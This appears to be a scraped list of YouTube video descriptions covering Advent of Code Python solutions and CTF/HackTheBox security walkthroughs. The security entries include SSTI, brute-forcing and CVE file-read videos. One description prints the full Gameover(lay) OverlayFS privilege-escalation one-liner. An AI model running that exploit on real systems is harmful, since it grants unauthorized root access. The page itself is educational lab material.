Uploaded June 2025 | Updated November 2026, 3 hours ago
Threat Index is a challenge where I need to take an input string, and look for a series of workds, adding their score to a total score for each instance. Very simple challenge, quick solve in Python using both a for loop and a one-liner list comprehension.
☕ Buy Me A Coffee: buymeacoffee.com/0xdf
[00:00] Introduction
[01:02] Running to see input
[01:42] Making a dict of keywords
[02:44] For loop over keywords
[03:43] Converting solution to list comprehension
[05:33] Conclusion
#python
Threat Index is a challenge where I need to take an input string, and look for a series of workds, adding their score to a total score for each instance. Very simple challenge, quick solve in Python using both a for loop and a one-liner list comprehension.
☕ Buy Me A Coffee: buymeacoffee.com/0xdf
[00:00] Introduction
[01:02] Running to see input
[01:42] Making a dict of keywords
[02:44] For loop over keywords
[03:43] Converting solution to list comprehension
[05:33] Conclusion
#python
![Day 23: Long Walk [AOC2023 Python]
For Advent of Code 2023 Day 23, I get a grid with paths through a forest. Im asked to find the longest path possible. Ill reduce the problem by getting a list of junction points where I have multiple options, and then use that to brute force all paths.
Code 2023 AOC: https://gitlab.com/0xdf/aoc2023
Challenge Link: https://adventofcode.com/2023/day/23
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Part 1 description
[01:15] Input analayis
[02:41] Getting start and end
[03:40] Find junctions
[06:14] Map distances between junctions
[11:11] Fix bug in junctions
[12:08] Brute force all paths
[15:35] Solve part 1
[17:53] Part 2 description
[18:02] Solve part 2 by modifying part 1
[19:15] Refactoring solve into function to solve both
[22:17] Final solve with time / Summary
#adventofcode #python Day 23: Long Walk [AOC2023 Python]](https://i.ytimg.com/vi/kG2AkQbegAw/mqdefault.jpg)
![Day 8 - Two-Factor Authentication [Revival of Code 2023 - Advent of Code 2016]
Python Discord is doing an event called Revival of Code, where we work through the 2016 Advent of Code, one challenge every two days. The day 8 challenge, Two-Factor Authentication, processing a set of instructions that manipulate pixels on a 50x6 screen. Ill need to rotate both rows and columns, as well as turn on blocks. At the end, Ill show a fancy automation of the full application.
Repo for Advent of Code 2016 Solutions: https://gitlab.com/0xdf/aoc2016
Intro video for this event: https://www.youtube.com/watch?v=qEPpsS0StQI
Real Python post with templates: https://realpython.com/python-advent-of-code/
Python regex: https://pypi.org/project/regex/
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[00:34] Challenge Part 1
[01:46] genday.sh / input
[02:10] Setting up test fixture
[02:56] test_parse
[05:01] Screen class and init
[09:00] Tests for screen tracking
[10:03] Creating screen with deques
[13:25] Tests for Part 1
[14:37] Reorganizing main
[15:15] pixels_on function
[16:41] run function
[18:01] Processing Rect instruction
[22:12] rotate functions
[24:10] Solving Part 1
[24:29] Challenge Part 2
[24:44] to_string function
[25:21] to_string tests (oops!)
[27:15] Finishing to_string
[28:14] Solving Part 2
[29:02] Fancy Animation!
#ctf #adventofcode #revivalofcode #python Day 8 - Two-Factor Authentication [Revival of Code 2023 - Advent of Code 2016]](https://i.ytimg.com/vi/kaMpNgYIWeQ/mqdefault.jpg)
![Reversing and Brute-Forcing TOPT Browser Plugin Export [HackTheBox Coder]
In the Coder box from HackTheBox, I manage to acquire a TOPT backup from the Authenticator browser plugin. Ill go through the source-code for the plugin to understand how the password is used to decrypt the seed, and then write a JavaScript brute force script to recover the password for the backup.
HackTheBox Coder: https://www.hackthebox.com/machines/coder
Coder Blog Post: https://0xdf.gitlab.io/2023/12/16/htb-coder.html
Authenticator Source: https://github.com/Authenticator-Extension/Authenticator
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[00:57] Background
[02:05] Source Code Review
[05:29] Getting data to test
[06:50] Starting script to loop over lines
[09:28] Trying decrypt with each password
[10:42] Getting script to run
[12:00] Converting result from hex
[12:34] Updating to only print on success and exit
[13:23] Tweaking to run on real data
[15:44] Conclusion
#pentest #ctf #bugbounty #javascript Reversing and Brute-Forcing TOPT Browser Plugin Export [HackTheBox Coder]](https://i.ytimg.com/vi/kuuOqZf8Bdw/mqdefault.jpg)
![Web Assembly Reversing Challenge [CodeLocked - Hacky Easter 2023]
CodeLocked involves a door lock on a webpage. Putting in the correct 8 digit code will provide the flag, but the function to check it is handled in web assembly. Well use a plugin to Ghidra to get the code decompiled very nicely, figure out the pin, and show how that pin is used to calculate the flag. Well also buteforce the pin in the JavaScript console in the Chrome dev tools.
Ghidra Wasm Plugin: https://github.com/nneonneo/ghidra-wasm-plugin
Hacky Easter: https://23.hackyeaster.com/
Challenge: http://ch.hackyeaster.com:2311/ (should be up through late June 2023)
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[00:55] Challenge introduction
[01:34] Site in Chrome dev tools
[06:10] Downloading web assembly
[06:33] Preparing Ghidra
[08:48] Analysis of check function to get pin
[11:26] Decrypting flag buffer with pin
[17:43] Brute-forcing pin
[20:18] Conclusion
#ctf #HackyEaster Web Assembly Reversing Challenge [CodeLocked - Hacky Easter 2023]](https://i.ytimg.com/vi/lAOfyThNCPg/mqdefault.jpg)
![Ceres Search [Day 4 - Advent of Code 2024 - Python]
I am given a large block of text containing a bunch of X, M, A, and S. In part 1, I have to find every instance of the word XMAS and return the count. In part 2, I need to search for places where two instances of the word MAS are crossed at the A, like:
M S
A
M S
Ill start by creating sets for each of the letters with all the points they are located at, which is a nice mapping to work with. In part 2, Ill use some lambda functions as helpers to make the checks more intuitive.
2024 AOC repo: https://gitlab.com/0xdf/aoc2024/
2024 AOC Intro vide: https://www.youtube.com/watch?v=4XKZZrhhiQE
VSCode Debug video: https://www.youtube.com/watch?v=cNhtk2Ob4B8
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Part1 introduction
[00:46] Setup / data overview
[01:27] Making char_map
[02:37] Counting XMAS
[05:54] Solving part 1
[06:25] Slight part 1 improvement
[06:52] Part 2 challenge
[07:29] Start counting X-MAS
[08:01] Creating helper functions
[09:38] Counting X-MAS
[11:42] Solving part 2
[11:53] Conclusion
#adventofcode #python Ceres Search [Day 4 - Advent of Code 2024 - Python]](https://i.ytimg.com/vi/lFi5cMYJAlM/mqdefault.jpg)
![JinjaCare - HackTheSystem CTF
HackTheBox ran a Bug Bounty themed CTF, HackTheSystem June 27-29 2025. These challenges are all based on real bug bounty reports. In this challenge, Ill look at reports claimed against Uber and Glovo involving Flask Jinja server side template injections, and exploit a similar vulnerability on the challenge.
HackerOne report #1: https://hackerone.com/reports/125980
HackerOne report #2: https://hackerone.com/reports/1104349
Flask Tutorial: https://pythonbasics.org/flask-tutorial-templates/
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[00:30] Challenge introduction
[00:58] HackerOne reports
[02:10] Flask background
[05:05] Manual website enum
[07:12] Strategy
[08:00] Identifying SSTI
[09:11] Identifying tech stack (Jinja)
[11:33] Getting RCE and flag
[13:46] Conclusion
#bugbounty #ctf #hackthebox #python #flask #ssti #jinja JinjaCare - HackTheSystem CTF](https://i.ytimg.com/vi/lWpyKTEeBgE/mqdefault.jpg)
![Gameover(lay) Exploit Explained
The Gameover(lay) (CVE-2023-2640 / CVE-2023-32629) vulnerability was a big deal in late July 2023. The POC is super short, and yet complex. Well walk through the lines one by one, and understand what its doing and how it provides a low privilege user root access by abusing the OverlayFS and how it manages file attributes (like capabilities) when syncing between upper and lower.
Exploit: unshare -rm sh -c mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; && u/python3 -c import os;os.setuid(0);os.system(rm -rf l m u w; id)
HackTheBox Analytics Blog post: https://0xdf.gitlab.io/2024/03/23/htb-analytics.html
HackTheBox Analytics: https://www.hackthebox.com/machines/analytics
OverlayFS explained post from Julia Evans: https://jvns.ca/blog/2019/11/18/how-containers-work overlayfs/
Exploit Tweet from @liadeliyahu: https://twitter.com/liadeliyahu/status/1684841527959273472
CVE-2023-2640: https://www.cvedetails.com/cve/CVE-2023-2640/
CVE-2023-32629: https://www.cvedetails.com/cve/CVE-2023-32629/
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[00:47] Show exploit
[01:23] unshare / namespaces
[02:54] Setup files within namespace
[04:39] mount OverlayFS
[05:56] Using touch to get files into upper
[06:20] Exit namespace and escalate
[07:36] Revisiting exploit
[08:41] Conclusion
#pentest #ctf #bugbounty #gameoverlay #linux #privesc Gameover(lay) Exploit Explained](https://i.ytimg.com/vi/nlYNuUKiGr0/mqdefault.jpg)
![Gift Shop [AOC2025 Day 2]
Advent of Code 2025 Day 2 offers input with a bunch of number ranges. Ill parse those, and then loop through each, check for any invalid numbers and summing them up for a result. In part 1, a range is invalid if the entire number is made up of the same number twice. For part 2, I need to check if the number is made up of a number repeated two or more times. So for part 1, 123123 is invalid. For part 2, 123123 is still invalid (123 twice), but so is 123123123 (123 three times). Ill show two ways in part 1, using just a string check and with regex, and then adapt the regex function to solve part 2 very quickly. Then Claude solves and implements the non-regex solution.
Solutions Repo: https://gitlab.com/0xdf/aoc2025
VSCode Debug Setup: https://www.youtube.com/watch?v=cNhtk2Ob4B8
Claude: https://claude.ai/
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[01:22] Pulling / examining input
[01:57] Parsing ranges
[03:16] Checking validity
[04:33] Solving part 1
[05:28] Rechecking validity with regex
[07:27] Part 2 introduction
[07:55] New is_invalid function for part2
[08:55] Solving part 2
[09:26] Talking through non-regex solution
[09:59] Solving with Claude
[11:30] Comparing solutions
[12:05] Conclusion
#AdventOfCode #claude Gift Shop [AOC2025 Day 2]](https://i.ytimg.com/vi/p89Nsj9BB7Q/mqdefault.jpg)
![Crossed Wires [Day 24 - Advent of Code 2024 - Python]
For day 24, Im given a series of wires connecting to OR, AND, and XOR gates, and some initial values. Part 1 is very easy to recursively trace back from the given endpoints to find their values. In part 2, I have to swap four pairs of gate outputs to make it so that the result is the binary value representing the addition of two 45-bit binary inputs. This is very challenging, and involves some exploration.
2024 AOC repo: https://gitlab.com/0xdf/aoc2024/
2024 AOC Intro video: https://www.youtube.com/watch?v=4XKZZrhhiQE
VSCode Debug video: https://www.youtube.com/watch?v=cNhtk2Ob4B8
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Part1 introduction
[02:20] Part 1 code review
[05:28] Solving part 1
[06:05] Part 2 challenge
[06:51] Changes to Connection class
[08:05] run_wire2 with given inits
[09:17] Finding broken bits
[12:05] Running to find failures
[12:51] Getting wires involved in a bit
[15:16] Looking for patterns
[16:35] Function to fix machine
[20:55] Solving part 2
[21:11] Conclusion
#adventofcode #python Crossed Wires [Day 24 - Advent of Code 2024 - Python]](https://i.ytimg.com/vi/pH5MRTC4MLY/mqdefault.jpg)
![Exploiting CVE-2023-40028 [LinkVortex - HackTheBox]
Well walk through CVE-2023-40028, an authenticated file read vulnerability in the Ghost blogging platform. Ill start with the Nist page and get the link to the commit in GitHub where the vulnerability is patched. From there, Ill look at the regression test and use that to understand where the exploit happens using a symlink in a zip archive. Ill manually generate a zip and use it to read /etc/passwd. Then Ill generate a Python script that reads files automatically.
Full LinkVortex solution: https://0xdf.gitlab.io/2025/04/17/htb-linkvortex.html
Zipping Video: https://www.youtube.com/watch?v=NPlkZVm-C7M
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[01:19] CVE Background
[02:06] GitHub commit
[04:51] symlinks.zip
[05:40] Manual create zip
[07:13] Ghost admin API docs
[08:00] Posting file
[11:33] Reading results
[12:07] Python strategy
[13:31] Processing inputs (part 1)
[14:14] Zip creation research
[15:33] Creating random filename
[16:53] Creating zip with symlink
[20:24] Processing inputs (part 2)
[21:55] Logging in
[22:30] Post and read file
[23:59] Running script
[25:00] Improving script for not found and access denied
[26:22] Conclusion
#HackTheBox #ctf #python #zip Exploiting CVE-2023-40028 [LinkVortex - HackTheBox]](https://i.ytimg.com/vi/pLgjI7gVwLc/mqdefault.jpg)
![Day 9 - Explosions in Cyberspace [Revival of Code 2023 - Advent of Code 2016]
Python Discord is doing an event called Revival of Code, where we work through the 2016 Advent of Code, one challenge every two days. The day 9 challenge, Explosions in Cyberspace, Im given a string where I need to find markers of the pattern `(AxB)`, and use that to read the next A characters and repeat it B times. In part one, Ill take markers inside the next A characters as just text. In part two, Ill have to recursively expand those first.
Repo for Advent of Code 2016 Solutions: https://gitlab.com/0xdf/aoc2016
Intro video for this event: https://www.youtube.com/watch?v=qEPpsS0StQI
Configuring VSCode to debug PyTest: https://www.youtube.com/watch?v=zL2YTdIj3R8
Real Python post with templates: https://realpython.com/python-advent-of-code/
☕ Buy Me A Coffee: https://www.buymeacoffee.com/0xdf
[00:00] Introduction
[00:14] Challenge Part 1
[01:20] genday.sh / input
[02:06] Part 1 tests
[03:27] Parsing into deque
[03:57] Part 1 solve
[07:16] Part 1 tests solve, submitting solution
[07:47] Challenge Part 2
[09:06] Tests for Part 2
[10:16] Refactoring part 1 into decompress
[11:30] Adding part 2
[16:20] Debugging issues
[16:50] Tests pass, part 2 doesnt return
[18:32] Debugging issues related to passing data twice
[19:45] Identified issue
[21:25] Fixing tests after refactor
[22:08] Conclusion
#ctf #adventofcode #revivalofcode #python Day 9 - Explosions in Cyberspace [Revival of Code 2023 - Advent of Code 2016]](https://i.ytimg.com/vi/pQBoZGrTfLg/mqdefault.jpg)